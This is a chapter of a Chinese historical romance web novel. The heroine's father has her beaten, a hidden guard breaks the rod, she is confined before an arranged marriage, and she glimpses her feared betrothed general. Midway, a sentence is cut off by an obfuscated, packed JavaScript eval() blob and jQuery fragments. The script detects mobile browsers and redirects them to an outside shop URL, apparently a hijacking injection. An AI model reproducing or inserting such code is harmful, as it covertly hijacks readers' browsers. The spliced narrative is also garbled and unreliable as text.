“可是……”谢辞盈想为自己辩解两句,刚说出口两个字便被谢父打断。
“你院内的丫头竟然给你打扮成这个样子,知错犯错,实在可恶。”谢父话说了一个开头,意思已经很明显。
谢辞盈一僵,干脆跪下,认下了谢父的话:“不关她们的事,女儿知错。”
这是谢父给她的警告。
警告她不要存有乱跑和逃婚的心思。
并且让她乖乖认下此事,替那谢舟然背锅。
秋棠和春杏的身契还在谢府手中,如果她一个人逃了,那这两个小丫头会遭遇什么,就可想而知了。
谢父这是用这两个小丫头来威胁他。
她从未想过现在离开,就算要离开,也得带着她那俩丫头离开。
等她成亲,就可以把这两个小丫头带走了。
将两人的处置方式说完,谢父转向那大儿子的妻子,此次事件的受害人,“你看这样处理可好?”
王蕙眉心微蹙,目光不由得在谢父和三姑娘之间转来转去。
此事为何会牵扯到三姑娘身上?她想让三姑娘作证,可没想过会让三姑娘受罚。
可是事已至此,谢父已经下了决断,谢辞盈也已经认下,她也不好再说什么,“父亲威严,儿媳没有什么不满意的,就是让那五少爷,切莫再靠近我们院子了。”
“这是自然。”
王蕙挥挥手,家丁便将谢舟然放下。
谢舟然和谢辞盈,便分别被行刑的奴仆押回了自己的院子。
一早晨,谢府纷纷扰扰。春杏和秋棠自然也听到了外面的动静。
只是谢辞盈不在,她们便不会出知微堂,免得被府上发现什么端倪。
谁曾想,谢辞盈一身男装,被两个行刑的下人压着回了知微堂,下人手上还拿着如小臂般粗壮的棍子。
春杏和秋棠脸色惨白。
这是怎么了?那么粗的棍子,要打在她们姑娘身上吗?
其中一人压着谢辞盈在庭院的中间跪下,冲着谢辞盈的后辈就举起了棍子,“三姑娘,之后切莫再乱跑了。”
春杏想要冲过来拉住行刑的下人,被谢辞盈眼神制止了。
秋棠明白了谢辞盈的意思,死死拉住了春杏。
这是谢父的警告,倘若不受,之后这两个小丫头,便更不知道会如何了。
啪!
春杏害怕地把头埋入秋棠的怀中,秋棠也紧紧闭上眼睛,不敢看行刑这一幕。
木棍断裂飞溅,掉落在地上,发出咔啪声。
等秋棠再睁眼的时候,只看到行刑的木棍从中间断裂成两截,只有一截握在行刑的下人手中,另一截掉落在谢辞盈身边。
“你们疯了吗?不知道我们娘子身子弱吗?用这么大的力气,是要杀人吗?”春杏再也忍不住了,怒吼道。
执棍的奴仆此时也吓白了脸,他虽说行刑,但是若是家中姑娘出了什么事,那他也难免要受到责罚。
但是他感觉他没用多大力气啊。
谢辞盈捏了捏肩膀,比一旁行刑的奴仆还要茫然,刚刚那棍子,好像根本没碰到她啊?
好像是在要碰到她的那一瞬间突然就断了。
谢辞盈的余光往身后一瞥,就看到奴仆脸上的恐慌。
刚刚柳姨娘和嫂子互相飙戏的那一幕突然闯入脑海。
谢辞盈故作痛苦状,身形一颤,慢慢趴了下去。
“娘子!”两声慌张的叫声响彻在这个小庭院内。
知微堂的偏房的屋顶上,惊云看着演戏的这一幕,啧了一声。
装得太不像了!被打伤之后疼痛难忍,怎么可能再这样慢慢趴下去。
也就底下那些没见识的奴仆,才会被谢娘子骗的团团转。
再者说,刚刚他出手,那个棍子根本就没打到谢娘子。
谢娘子也太会骗人了!
果然陆副官说得没错,越漂亮的女人就越会骗人。
日后谢娘子嫁给将军,他可得提防提醒着点。
“可是,老爷让我们罚姑娘五杖。这还有四杖。”谢辞盈昏倒,行刑的两人彻底慌了神。
“五杖!你这是要杀人!”春杏哭得伤心。
秋棠声音哽咽,“老爷说要行刑,也没说你要用如此力气吧。娘子婚期将近,真出事了,你耽误得起?”
“这……”
“不若轻轻做做样子便罢了,你好交差,也给我们娘子留一条活路吧。”
秋棠提出了一个两全其美的办法,行刑的奴仆便接受了。
轻轻挥舞几下做完样子后,这两人连忙赶着去交差。
知微堂又剩下了主仆三人。
春杏和秋棠趴在了谢辞盈身边拉她,哭得伤心。
秋棠擦了擦泪,“别哭了,我去请大夫。”
院子外的脚步声逐渐走远,谢辞盈睁开眼,拉住了秋棠:“我没事,别哭了。”
两个小丫头愣住,眼泪都忘了掉。
终究还是秋棠更理智一点,连忙将谢辞盈拉到内室,检查她家娘子身上的伤口。
之前爬墙摔的痕迹已经变淡,后背上又新增一大片青紫。
在雪白的肌肤上显得格外的显眼。
谢辞盈借着铜镜看了一眼,是今天被五弟撞到地上摔伤的痕迹。
“棍子真的没有打到我身上,这是我摔了一跤弄的。”谢辞盈跟两个小丫头解释道。
但是两人明明亲眼看到棍子打向谢辞盈的后背,以至于棍子断裂成两截。
这又是怎么回事呢?
最后这件事,只能被春杏总结为,她家娘子生性善良,有菩萨庇佑,才能逢凶化吉。
从这天开始,谢辞盈被禁足了。
谢父可能是怕她逃跑,派了更多的下人将知微堂团团围住,就连春杏和秋棠都出不去。
那个她平日里经常翻的矮墙,被修葺得更高。
她的院子内,有下人陆续送来结婚用的婚服、团冠。
院子里内每天都有奴仆进进出出,在整个知微堂上挂上红帐、红灯笼,一派喜庆无比的样子。
她与那萧大公子的婚事,就此成了定数,想来是只要等萧家大公子一回来,谢父就要把自己打包过去成亲了吧。
那萧二公子,再也没有只言片语送到知微堂来。
逐渐地,两个小丫头也死了心。
春杏也不再提起萧二公子,免得惹自家娘子伤心。
大好婚事作废,嫁给毫无了解之人,自家娘子当然是极为伤心的,春杏这样想着。
“这婚服一点都不好看,不若我给娘子绣上些样式吧。”春杏左看看右看看,不管怎么看都觉得老爷送来的这婚服和团冠太敷衍了。
春杏想着,既然娘子嫁那萧大公子已经成了定数,那只能祈求萧大公子是个好人,能够敬爱娘子,那么婚事自然也不能敷衍,要讨个好兆头,“我绣上些缠枝牡丹?,祈求娘子未来能够富贵圆满。”
谢辞盈叹了一口气,这场婚事,实在算不得什么高兴之事。
成亲的礼节本来是十分繁复,现在却简化至此,能看出不管是谢家还是萧家,对这场婚姻都是敷衍之际。
莫说她不高兴,那萧大公子,多年不在京城,一回京就被安排成亲,想来也不会愿意的。
“不必了,就这样吧。”谢辞盈兴不起什么兴致。
谢辞盈恹恹的样子被两个小丫头看在眼里,春杏还想说什么,秋棠摇了摇头。
谢辞盈坐在院子里,手指拨弄着院里的花花草草,这两天,那个奇怪的梦时不时会出现。
梦里的感觉愈发真实。
春杏讲的预知梦的话本子不停出现在谢辞盈的脑海中,像是在提醒她一般。
做梦次数一多,谢辞盈不免怀疑。
难道真的是个预知梦?
如果是个预知梦,那她的婚后,好像会过得很不好。
夫妻离心,争吵不断。
在梦里,她还会对对方动手。以她感知到的“夫君”的暴怒程度,恐怕下一刻,那个拳头就要到她身上了。
想到这,谢辞盈不免心中忧虑。
“三姐姐这里好热闹啊。”谢青朝抱着一个盒子,大摇大摆地走进了知微堂。
谢辞盈看着谢青朝一脸炫耀的样子,皱了皱眉。
府上所有人都已经得知,萧家来谢家下了财礼,萧家二
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17719585|208587||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
郎的结婚对象,换成了四姑娘谢青朝,婚期选在了半年后。
也就是说,谢青朝这是来耀武扬威的。
看到谢辞盈一脸恹色,谢青朝颇为痛快:“哎呀,三姐姐,今日二公子给我送来这些胭脂水粉,我都不知道该怎么办呢。”
“所以特意想来问问姐姐,想姐姐以过来人身份教教我,我该回个什么礼好。”
这不就是来炫耀吗?春杏立刻就要回嘴,被秋棠一把拉走。
“想来以妹妹身份,回什么礼,那萧家二郎都会高兴的。”谢辞盈不想和谢青朝过多纠缠。
谢青朝脸上一黑,都这样了,为什么谢辞盈不生气,不发疯,不跟她起冲突?她凭什么一直是这样一种置身事外的样子。
她从小到大,最讨厌的就是谢辞盈这副样子。
她凭什么?就凭她觉得自己不是谢家人吗?
谢青朝深吸一口气,换上了一个讨人嫌的神情,“哎呀,说的也是。二公子自然是比那大公子温文尔雅。”
成功看谢辞盈变了脸色,谢青朝继续说,“怕是姐姐以后得好好想想,寻什么礼讨那萧家大公子欢心了。”
说完这些话,谢青朝颇为满意,来回环视这屋内的装饰,心情愈发得意起来。
“这几日大军大胜回朝,想来在此热闹之下,姐姐的婚事便也可放心了。”
谢青朝留下一句意义不明的话,便得意地离开了。
谢辞盈皱眉,最后那句话什么意思?什么叫也可以放心了?
秋棠连忙向进出的奴仆打听,才知道外面的传言。
“娘子,现在外面的流言,传得可难听了……都说、都说,说您是被二公子不要了才硬塞给大公子的。”
“还、还说什么,大公子只能捡……捡二公子的破烂。”秋棠委屈的红了眼眶,“他们怎么能这么说娘子。”
谢辞盈眼前一黑,萧大公子因为她,成了京中的笑柄。
原来谢青朝的意思是,热闹之下,就没人在意这场婚事了,便少了人指指点点了。
哪怕少了人指点,这些流言依旧会传到那萧大公子耳朵里。
对萧大公子来说,被安排这桩婚事,已经不是简单的强行安排,而是耻辱了。
一个暴躁易怒、杀戮成性之人,受此大辱,将会如何?
谢辞盈想起梦中的争吵,觉得在此等流言之下,她和萧大公子争吵,几乎是毫不意外的事情。
她愈发地觉得,那个梦中人,就是萧大公子。
这个梦,就是个预知梦。
而她会在梦里,打那萧大公子一巴掌。
想到此事,谢辞盈愈发忧虑。
又过了些时日,大军回朝。
京城内满是喜气。
皇上携太子、禹王、五皇子,亲自登城门迎大军。
百官齐齐出门迎接。
皇上对此次战役大加赞赏,当场就点了几位将领的官职。
大战中建功最多的几位将领,特获殊荣,骑马进皇宫受封。
城内挤满了看热闹的百姓,口中讲得全是这些将领在沙场上以一敌百的英姿。
谢家几人难得都被解了禁足。
谢辞盈和谢棠一起在街上看热闹,当然,春杏和秋棠留在了府内,她身边还有很多家丁围着。
婚事将近,她身边的小厮更是多了一倍。
人潮拥挤,都想一睹荣耀归城的将士风采。
“你们听说了吗?刚刚那个,就是此次战役中最厉害的将军。一个人冲进阵中,手撕敌军!”
“如此厉害的将领,之前怎么从未听说过?”
“好像是萧家的大儿子,叫什么萧峙渊。”
“萧家大公子?那个凶神?怪不得!我听说他还生吃人肉,吓得蛮夷夜不能寐。”
这些人的话就这么钻到谢辞盈耳朵里。
什么?萧家大公子?手、手撕?吃人?
谢辞盈连忙向为首的骑马将领看去。
那好一出虎背熊腰,豹头环眼,燕颔虎须。怒目一瞪,都能把人吓死。
完美符合谢辞盈对一个暴躁之徒的想象。
天啊,那便是萧峙渊吗?